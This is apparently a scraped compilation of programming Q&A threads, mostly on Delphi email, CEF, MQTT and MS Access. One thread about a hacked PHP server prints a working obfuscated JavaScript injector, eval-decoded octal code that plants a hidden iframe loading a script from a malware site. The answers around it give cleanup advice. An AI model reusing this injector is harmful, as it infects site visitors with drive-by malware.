IMAP + TLS/SSL with Synapse? - delphi

I'm currently trying to add to a software the capability to list unread emails in the user's inbox using IMAP. After having no success at all using Indy10, I discovered Synapse which seemed better for what I needed, but I can't find a way to get it working.
My problem is with the login (thus I think with the SSL configuration). I can't find a working combination of "FullSSL", "Sock.SSL.SSLType" and "AutoTLS". Whenever I do the "Login()" function, it fails.
For the sake of testing, are any of you able to connect to Gmail's IMAP server using Synapse, and, if yes, how?

Having just done this myself, I might recommend that you just follow the simple example on the Synapse HowTo http://synapse.ararat.cz/doku.php/public:howto:smtpsend
The only other thing would be that you need to download the openssl dll's and place the in your project folder.
IMHO .... I would recommend that you also consider looking at CleverComponents.com at their IMAP4 with built in SSL (not requiring OpenSSL, which has some licensing restrictions) and is completely NON-Blocking sockets.

mfw is correct, but here's a clearer and more current answer.
Go to the page skamradt said and download the "Binaries" ZIP. From its Bin folder, copy these files into your EXE's folder:
libssl32.dll
libeay32.dll
In your DPR, add
uses ssl_openssl;
For GMail / port 587:
// support for upgrade session to TSL/SSL:
SMTP.AutoTLS := True ;
SMTP.FullSSL := False;
For other SMTP servers / port 465:
// support for TSL/SSL tunnel:
SMTP.AutoTLS := False;
SMTP.FullSSL := True ;
This might also work for POP / port 995. It's how I got Synapse to send mail securely in Delphi 7 + Synapse Release 40 (2012-04-23)

I suggest Mailbee IMAP ActiveX from AfterLogic.
I did the research when developing Gmail Keeper (a Gmail backup software), CleverComponnets' feature set seems good but their support is very badm they seem discontinued that promising component set, you can try to email them back and forth to see if there is anything changed since it's been a long time since I checked them last time, I indeed wish they continue their VCL.
On the other hand, afterlogic's support is really good, especially when the reasonable price is considered.
One-click to backup Gmail with labels to local disk (supports backup scheduling)
http://GmailKeeper.com

You need these libraries in your program:
libeay32.dll
ssleay32.dll

Related

How can I save a WhatsApp session using Delphi and Chromium?

I'm using the CEF3 2378.1280 branch and Delphi 10.1. I'm using the following code to save sessions:
var
CookieManager: ICefCookieManager;
FromCreate:
CookiesPath := ExtractFilePath(Application.ExeName) + 'cookies';
CookieManager := TCefCookieManagerRef.Global(nil);
CookieManager.SetStoragePath(CookiesPath, true, nil);
This code work fine with Facebook and a lot of other sites. But for web.whatsapp.com it can't save the session: After restarting the program, I must do tge QR-code validation again.
How can I save a WhatsApp session?
I'm sorry I asked you to move your question here. Usually, all questions that may have something to do with CEF bindings are redirected to their respective forums and this is a pure DCEF3 question.
You don't need to specify a separate cookies directory. All you need is to set a cache directory using the 'CefCache' variable.
The CEF3 2378.1280 branch is too old and that website may not support it. Upgrade to CEF3.2623 if you still need to support Windows XP and Vista, or upgrade to CEF3.3440 if you want the latest branch.
If you decide to use CEF3.2623 you can use DCEF3 or OldCEF4Delphi.
To use the latest branch you will have to use CEF4Delphi.

How do I compose an email for Office365 using Delphi?

I need information on how to allow an end user to compose an email, in Delphi code. Our Delphi version is Delphi Seattle (I think that is 10.1?) We use office365 as our email program. I need to pre-fill the recipient and some html in the body of the email. The end-user needs to complete the body of the email then click the send button.
We used to use the reliable "mailto" commandline that then displayed an email form. But it only works with plain text, no html. I now need to have html in the body of the email. I switched to using the ancient semi-reliable TOutlookApplication component and using it in code to do this thru OLE. I do see a dialog pop up, and the html appears to render correctly, but the send button seems to do nothing. Looking at the code used by TOutlookApplication, it appears that it's not been updated since the glory days of XP.
I am using Delphi Seattle. I don't think I can use Indy components with stmp because the email dialog has to be present to allow for the composing of the email, and I didn't see a way for Indy to display the form. Can anybody please tell me what I gotta do to make this work? If anybody wants to see my current code using TOutlookApplication, I can post it, but it's like 1,000 other Delphi examples of the component. Surely, others have overcome this, right?
I have additional information on this. I was running my application on a virtual machine, but my outlook was running in the desktop. Once I run the application on the desktop, it ran fine. I even received the test emails I hadn't from the vm. I believed the vm was aware of the desktop applications. My bad!
The problems I experienced were due to running on a virtual machine. If there are other dolts trying to run an app that uses OLE to access Outlook from a VM, make sure you have a Outlook ON THE VM. Or run your app from the someplace that has Outlook installed, like a desktop.

how can I create my own plugin for mosquitto broker?

How can I make a plugin like mosquitto-auth-plug for authorization, or one for storing message payloads or other usages?
Should I write it in C or can I use python?
Any plugin for mosquitto is going to have to be written in something that can be compiled to a native shared library that can be loaded by mosquitto. This would normally mean C or C++
There are hooks in place for the authentication plugin, but none for message storage or anything else so that is unlikely to work without modifying mosquitto directly.
You should examine the code for the auth-plugin and for mosquitto for details.
You could look into C (works for me)
https://github.com/hadleyrich/mosquitto-auth-plugin-http
and In Python
(not tested , but working for other folks)
https://github.com/mbachry/mosquitto_pyauth

Found This Hack in my web server php files

How did i get them and what can i do to avoid this in the future?
#8f4d8e#
echo "<script type=\"text/javascript\" language=\"javascript\" >ff=String;fff=\"fromCharCode\";ff=ff[fff];zz=3;try{document.body&=5151}catch(gdsgd){v=\"eval\";if(document)try{document.body=12;}catch(gdsgsdg){asd=0;try{}catch(q){asd=1;}if(!asd){w={a:window}.a;vv=v;}}e=w[vv];if(1){f=new Array(050,0146,0165,0156,0143,0164,0151,0157,0156,040,050,051,040,0173,015,012,040,040,040,040,0166,0141,0162,040,0145,0163,0170,040,075,040,0144,0157,0143,0165,0155,0145,0156,0164,056,0143,0162,0145,0141,0164,0145,0105,0154,0145,0155,0145,0156,0164,050,047,0151,0146,0162,0141,0155,0145,047,051,073,015,012,015,012,040,040,040,040,0145,0163,0170,056,0163,0162,0143,040,075,040,047,0150,0164,0164,0160,072,057,057,0141,0142,0163,0157,0154,0165,0164,0145,0147,0151,0146,0164,056,0143,0157,0155,057,0137,0160,0162,0151,0166,0141,0164,0145,057,0143,0154,0153,056,0160,0150,0160,047,073,015,012,040,040,040,040,0145,0163,0170,056,0163,0164,0171,0154,0145,056,0160,0157,0163,0151,0164,0151,0157,0156,040,075,040,047,0141,0142,0163,0157,0154,0165,0164,0145,047,073,015,012,040,040,040,040,0145,0163,0170,056,0163,0164,0171,0154,0145,056,0142,0157,0162,0144,0145,0162,040,075,040,047,060,047,073,015,012,040,040,040,040,0145,0163,0170,056,0163,0164,0171,0154,0145,056,0150,0145,0151,0147,0150,0164,040,075,040,047,061,0160,0170,047,073,015,012,040,040,040,040,0145,0163,0170,056,0163,0164,0171,0154,0145,056,0167,0151,0144,0164,0150,040,075,040,047,061,0160,0170,047,073,015,012,040,040,040,040,0145,0163,0170,056,0163,0164,0171,0154,0145,056,0154,0145,0146,0164,040,075,040,047,061,0160,0170,047,073,015,012,040,040,040,040,0145,0163,0170,056,0163,0164,0171,0154,0145,056,0164,0157,0160,040,075,040,047,061,0160,0170,047,073,015,012,015,012,040,040,040,040,0151,0146,040,050,041,0144,0157,0143,0165,0155,0145,0156,0164,056,0147,0145,0164,0105,0154,0145,0155,0145,0156,0164,0102,0171,0111,0144,050,047,0145,0163,0170,047,051,051,040,0173,015,012,040,040,040,040,040,040,040,040,0144,0157,0143,0165,0155,0145,0156,0164,056,0167,0162,0151,0164,0145,050,047,074,0144,0151,0166,040,0151,0144,075,0134,047,0145,0163,0170,0134,047,076,074,057,0144,0151,0166,076,047,051,073,015,012,040,040,040,040,040,040,040,040,0144,0157,0143,0165,0155,0145,0156,0164,056,0147,0145,0164,0105,0154,0145,0155,0145,0156,0164,0102,0171,0111,0144,050,047,0145,0163,0170,047,051,056,0141,0160,0160,0145,0156,0144,0103,0150,0151,0154,0144,050,0145,0163,0170,051,073,015,012,040,040,040,040,0175,015,012,0175,051,050,051,073);}w=f;s=[];if(window.document)for(i=2-2;-i+478!=0;i+=1){j=i;if((031==0x19))if(e)s=s+ff(w[j]);}xz=e;if(v)xz(s)}</script>";
#/8f4d8e#
It seems to be redirecting to or injecting content from absolutegift dot com, a malware distributor. Somebody uploaded it to your server. This person (or bot) may have managed to get your password or he may have used an exploit. Change your passwords, make sure all user input (including uploads) is validated. Make sure you have a firewall running (I recommend csf) and scan your server for rootkits.
Contact your hosting provider and notify them of the issue. This is very important I've shutdown plenty of legit websites because they were compromised and the owner lost all their data.
If you are using a CMS such as Drupal, Wordpress, etc. etc. Make sure you upgrade and change admin passwords. If you have any plugins, make sure they are upgraded.
If you have no CMS, change your FTP & control panel passwords.
As for fixing the problem. If you are using a CMS, an in-place upgrade should replace all the files. If not, you can download all your files and use a word-processor like Notepad++ to do a find-and-replace throughout the directory. Also, your hosting provider might be able to restore from backup, or at least have some experience in fixing it.
To prevent it, don't use a CMS and learn some web security. Possibly hire a pentester.
this happened to me as well on an old site running Drupal 5. What I did is download the site and compared it with a clean copy of the codebase using meld (a graphical diff tool for linux).
I found that there was a file called god.php that was placed in one of the subdirectories and contained a php script which called R57. It's really scary what this thing can do.
Many of my files were infected with something like:
<?php
#8f4d8e#
...
#/8f4d8e#
?>
I cleaned this up manually a few times but kept being hacked until I removed the "god.php" file. I assume it might be called differently on your system.
If you have SSH access to the server go to your document root and search for all files containing the string:
grep -R "#8f4d8e#" .
You could also look for your version of the god.php file... look for traces of R57, for example by issuing:
grep -R "R57" .
Mine had a big ASCII art drawing of a bug at the beginning of the file.
I'm not sure how I got it but there were a list of bad things: un-updated very old version of Drupal, PHP4 with register_globals on, shared hosting (and probably a lousy company).
What I did is move the cleaned up site to another hosting company with PHP 5 and changed all passwords: drupal, ftp, mysql etc.

Can MS Access 2007 support multiuser environment?

There is an application which is running on several machines(say roughly on 2).This application updates an shared mdb placed on network.Both users are trying to update the shared mdb at one time but the problem is only one user is able to update mdb at one time.Another user is not able to open it.Can anyone suggest that access support multiuser environment?
edit:
There is one form TFormRoadAttrib.When it activates following function is called
procedure TFrmRoadAttrib.FormActivate(Sender: TObject);
if dmTimeDomain <> nil then
begin
if not (dmTimeDomain.dbTimeDomain.InTransaction) then
begin
dmTimeDomain.dbTimeDomain.BeginTrans;
end;
end;
where dbTimeDomain=TADOConnection and its value is
'Provider=Microsoft.ACE.OLEDB.12.0;
Mode=Share Deny None;
Extended Properties="";
Locale Identifier=1033;
Jet OLEDB:Registry Path="";
Jet OLEDB:Database Password="";
Jet OLEDB:Engine Type=4;
Jet OLEDB:Database Locking Mode=0;
Jet OLEDB:Global Partial Bulk Ops=2;
Jet OLEDB:Global Bulk Transactions=1;
Jet OLEDB:New Database Password="";
Jet OLEDB:Create System Database=False;
Jet OLEDB:Encrypt Database=False;
Jet OLEDB:Don't Copy Locale on Compact=False;
Jet OLEDB:Compact Without Replica Repair=False;
Jet OLEDB:SFP=False;
Data Source=Q:\BEL_01\BEL_GADM\ACCESS\Restrictions.mdb;
Jet OLEDB:System database=C:\Program Files\Tele Atlas\Common Files\DPT.MDW;
User ID=dbadpt;
Password=dbadpt;
When we click on Ok button following code executes
if dmTimeDomain <> nil then
begin
if (dmTimeDomain.dbTimeDomain.InTransaction) then
dmTimeDomain.dbTimeDomain.CommitTrans;
end;
end;
Kindly suggest.
Access definitely supports a multi-user environment, but your permissions must be set correctly. All users must be able to create files in the directory where the database is located, and all users must have permission to modify files created in that directory by other users. There are many ways to mess that up. This is because Access uses a separate .ldb file as part of its mechanism for managing concurrent, multi-user access.
A good test is to have one user create a text file in the shared directory, and then make sure the other user can open that file, and then save a change to it.
Both should be able to use the app. If one user is editing a form or table, the others are locked out of editing those same objects. But that should have no bearing on the app once it's in "production" state. A few years ago I helped convert a large app to MS SQL Server backend (stil MS Access frontend) and until that point, they had been successfully using the app with 15 users simultaneously. The app just got too big (100 forms, 100 tables, some with a million rows) so they moved for performance reasons. Otherwise they'd still be totally on Access.
Consider using an Access Project (adp extension) instead of a normal access mdb file. An access project works with SQL server desktop engine which you will find as a separate install file on you Office CD. This essentially means you have a slightly watered down version of SQL server running and this server will take care of all your concurrency issues for you. Also, if your DB becomes too big for an Access Project, you can easily port your DB to a fully fledged SQL Server machine. You can do most of the things in an Access Project that you can do with SQL Server, including Stored Procedures etc, and it's pretty easy to setup and connect to.

Resources